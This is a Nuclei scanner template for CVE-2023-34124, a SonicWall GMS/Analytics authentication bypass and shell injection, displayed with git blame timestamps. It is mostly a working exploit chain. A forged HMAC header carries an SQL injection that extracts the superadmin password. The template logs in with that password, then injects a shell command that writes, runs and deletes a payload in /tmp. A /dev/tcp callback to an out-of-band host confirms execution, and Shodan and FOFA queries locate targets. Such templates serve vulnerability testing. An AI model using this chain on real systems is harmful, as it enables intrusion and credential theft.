nuclei-templates/http/cves/2023/CVE-2023-34124.yaml

94 lines
4.5 KiB
YAML
Raw Normal View History

2023-08-28 13:26:29 +00:00
id: CVE-2023-34124
info:
2023-08-28 18:55:45 +00:00
name: SonicWall GMS and Analytics Web Services - Shell Injection
2023-08-28 13:26:29 +00:00
author: iamnoooob,rootxharsh,pdresearch
severity: critical
description: |
2023-08-28 18:55:45 +00:00
The authentication mechanism in SonicWall GMS and Analytics Web Services had insufficient checks, allowing authentication bypass. This issue affects GMS: 9.3.2-SP1 and earlier versions; Analytics: 2.5.0.4-R7 and earlier versions
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the target system.
2023-09-06 11:43:37 +00:00
remediation: |
Apply the latest security patches or updates provided by SonicWall to mitigate this vulnerability.
2023-08-28 13:26:29 +00:00
reference:
- https://raw.githubusercontent.com/rapid7/metasploit-framework/4b130f5be7590d04878f3bda37555e59e733324d/modules/exploits/multi/http/sonicwall_shell_injection_cve_2023_34124.rb
- https://attackerkb.com/topics/Vof5fWs4rx/cve-2023-34127/rapid7-analysis
- https://www.sonicwall.com/support/product-notification/urgent-security-notice-sonicwall-gms-analytics-impacted-by-suite-of-vulnerabilities/230710150218060/
2023-08-28 18:55:45 +00:00
- https://github.com/getdrive/PoC/blob/main/2023/Sonicwall_Shell_Injection/sonicwall_shell_injection_cve_2023_34124.rb
- https://nvd.nist.gov/vuln/detail/CVE-2023-34124
2023-08-28 13:26:29 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
2023-08-31 11:46:18 +00:00
cve-id: CVE-2023-34124
cwe-id: CWE-287,CWE-305
2024-05-31 19:23:20 +00:00
epss-score: 0.03433
epss-percentile: 0.91476
2023-09-06 11:43:37 +00:00
cpe: cpe:2.3:a:sonicwall:analytics:*:*:*:*:*:*:*:*
2023-08-28 13:26:29 +00:00
metadata:
verified: true
2023-09-06 11:43:37 +00:00
max-request: 4
2023-08-31 11:46:18 +00:00
vendor: sonicwall
product: analytics
2023-09-06 11:43:37 +00:00
shodan-query: http.favicon.hash:-1381126564
2024-05-31 19:23:20 +00:00
fofa-query: icon_hash=-1381126564
2024-01-14 09:21:50 +00:00
tags: cve2023,cve,sonicwall,shell,injection,auth-bypass,instrusive
2023-08-28 13:26:29 +00:00
variables:
2023-08-28 17:05:22 +00:00
callback: "echo 1 > /dev/tcp/{{interactsh-url}}/80"
query: "' union select (select ID from SGMSDB.DOMAINS limit 1), '', '', '', '', '', (select concat(id, ':', password) from sgmsdb.users where active = '1' order by issuperadmin desc limit 1 offset 0),'', '', '"
secret: '?~!@#$%^^()'
auth: "{{hmac('sha1', query, secret)}}"
filename: "{{rand_base(5)}}"
2023-08-28 13:26:29 +00:00
http:
- raw:
- |
GET /ws/msw/tenant/%27%20union%20select%20%28select%20ID%20from%20SGMSDB.DOMAINS%20limit%201%29%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20%27%27%2C%20%28select%20concat%28id%2C%20%27%3A%27%2C%20password%29%20from%20sgmsdb.users%20where%20active%20%3D%20%271%27%20order%20by%20issuperadmin%20desc%20limit%201%20offset%200%29%2C%27%27%2C%20%27%27%2C%20%27 HTTP/1.1
Host: {{Hostname}}
2023-08-28 15:50:44 +00:00
Auth: {"user": "system", "hash": "{{base64(hex_decode(auth))}}"}
2023-08-28 13:26:29 +00:00
- |
GET /appliance/login HTTP/1.1
Host: {{Hostname}}
- |
POST /appliance/applianceMainPage HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=login&skipSessionCheck=0&needPwdChange=0&clientHash={{ md5(concat(servertoken,replace_regex(alias,"^.*:",""))) }}&password={{replace_regex(alias,"^.*:","")}}&applianceUser={{replace_regex(alias,":.*$","")}}&appliancePassword=Nice%20Try&ctlTimezoneOffset=0
- |
POST /appliance/applianceMainPage HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2023-08-28 17:00:28 +00:00
num=3232150&action=file_system&task=search&item=application_log&criteria=*&width=500&searchFolder=%2Fopt%2FGMSVP%2Fetc%2F&searchFilter=appliance.jar%3Bbash+-c+PLUS%3d\$\(echo\+-e\+begin-base64\+755\+a\\\\nKwee\\\\n\%3d\%3d\%3d\%3d\+\|\+uudecode\+-o-\)\%3becho\+-e\+begin-base64\+755\+/tmp/.{{filename}}\\\\n{{replace(base64(callback),"+","${PLUS}")}}\\\\n\%3d\%3d\%3d\%3d\+|+uudecode+%3b/tmp/.{{filename}}%3brm+/tmp/.{{filename}}%3becho+
2023-08-28 13:26:29 +00:00
matchers-condition: and
matchers:
- type: word
part: body_3
words:
- "<title>SonicWall Universal Management Appliance</title>"
- "<title>SonicWall Universal Management Host</title>"
condition: or
2023-08-28 18:55:45 +00:00
2023-08-28 13:26:29 +00:00
- type: word
part: interactsh_protocol
words:
- "dns"
extractors:
2023-08-28 16:43:33 +00:00
- type: json
2023-08-28 16:37:59 +00:00
part: body
internal: true
name: alias
2023-08-28 17:00:28 +00:00
group: 1
2023-08-28 16:37:59 +00:00
json:
2023-08-28 17:05:22 +00:00
- '.alias'
2023-08-28 13:26:29 +00:00
2023-08-28 16:44:26 +00:00
- type: regex
2023-08-28 16:37:59 +00:00
part: body
internal: true
name: servertoken
2023-08-28 17:00:28 +00:00
group: 1
2023-08-28 16:44:26 +00:00
regex:
2023-08-28 17:05:22 +00:00
- "getPwdHash.*,'([0-9]+)'"
# digest: 4a0a00473045022100dff5af913f6255a502dbf50816f39ec4a629ff0e3275b9fd2aa5c0d742b9a85202207d90e978f0d17059baa99aac6f41112ed07e6dda4ec8b392b8ed6ea5956c3716:922c64590222798bb761d5b6d8e72950